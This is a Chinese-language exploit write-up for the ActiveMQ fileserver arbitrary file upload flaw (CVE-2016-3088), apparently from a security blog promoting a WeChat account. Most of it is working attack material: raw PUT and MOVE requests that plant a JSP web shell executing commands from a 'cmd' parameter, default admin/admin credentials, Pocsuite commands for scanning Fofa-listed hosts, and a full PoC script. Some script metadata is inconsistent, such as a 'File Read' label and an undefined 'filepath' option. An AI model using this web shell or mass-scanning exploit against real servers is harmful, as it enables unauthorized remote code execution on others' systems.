ActiveMQ任意文件上传漏洞
该漏洞出现在fileserver应用中,ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问
漏洞复现
访问http://your-ip:8161/admin/test/systemProperties.jsp 默认口令是admin/admin
上传JSP文件
PUT /fileserver/2.jsp HTTP/1.1
Host: 127.0.0.1:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: JSESSIONID=18wws8yzr1a04iz9gfpkkar3p
Authorization: Basic YWRtaW46YWRtaW4=
X-Forwarded-For: 8.8.8.8
Connection: close
Content-Length: 329
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
这里的状态码是204就代表成功了
使用MOVE方法移动文件再次上传是500回显,文件已经上传成功,访问地址,成功解析jsp
MOVE /fileserver/2.jsp HTTP/1.1
Destination: file:///opt/activemq/webapps/api/3.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
文件的路径是根据第一步看到的、状态码代码500就代表成功了
Pocsuite 复现
检测命令
python .\cli.py -r .\20221007_[activemq_post-auth_arbitrary_file_write_cve-2016-3088.py --verify --user admin --pwd admin -u "IP地址"
从Fofa远程加载进行检测、验证Poc的正确性。
python .\cli.py -r .\20221007_[activemq_post-auth_arbitrary_file_write_cve-2016-3088.py --verify --user admin --pwd admin --dork-fofa '"ActiveMQ" && port="8161"'
Pocsuite3 脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import base64
from pocsuite3.api import (
minimum_version_required, POCBase, register_poc, requests, logger,
OptString, OrderedDict,
random_str,
)
minimum_version_required('1.9.11')
class DemoPOC(POCBase):
vulID = '0'
version = '1'
author = 'He1_Ma0'
vulDate = '2022-10-07'
createDate = '2022-10-07'
updateDate = '2022-10-07'
references = ['https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md']
name = '[ActiveMQ Post-Auth Arbitrary File Write (CVE-2016-3088)'
appPowerLink = ''
appName = 'ActiveMQ'
appVersion = '5.12.x~5.13.x'
vulType = 'Arbitrary File Read'
desc = 'Vulnerability description'
samples = ['']
install_requires = ['']
pocDesc = 'User manual of poc '
dork = {'zoomeye': ''}
suricata_request = ''
suricata_response = ''
def _options(self):
o = OrderedDict()
o['user'] = OptString('', description='The username to authenticate as', require=True)
o['pwd'] = OptString('', description='The password for the username', require=True)
return o
def _exploit(self, param=''):
if not self._check(dork=''):
return False
user = self.get_option('user')
pwd = self.get_option('pwd')
Author=(user+":"+pwd).encode("utf-8")
Author=base64.b64encode(Author)
headers = {'Authorization': 'Basic {}'.format(Author.decode("utf-8"))}
payload = """<%@ page import="java.util.*,java.io.*" %>
<%@ page import="java.io.*"%>
<%
String str = request.getParameter("cmd");
String str1 = str.substring(0,30);
out.println(str1);
String path = application.getRealPath(request.getRequestURI());
out.println(path);
File d=new File(path);
if(d.exists()){d.delete();}
%>"""
res = requests.put(self.url+"/fileserver/2.jsp", headers=headers,data=payload)
logger.debug(res.text)
return res.status_code
def _verify(self):
result = {}
param = ''
res = self._exploit(param)
if res and res == 204:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo'][param] = res
return self.parse_output(result)
def _attack(self):
result = {}
param = self.get_option('filepath')
res = self._exploit(param)
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo'][param] = res
return self.parse_output(result)
def _shell(self):
return self._verify()
register_poc(DemoPOC)
总结
想了解更多Pocsuite脚本、请关注微信公众号【白猫学安全】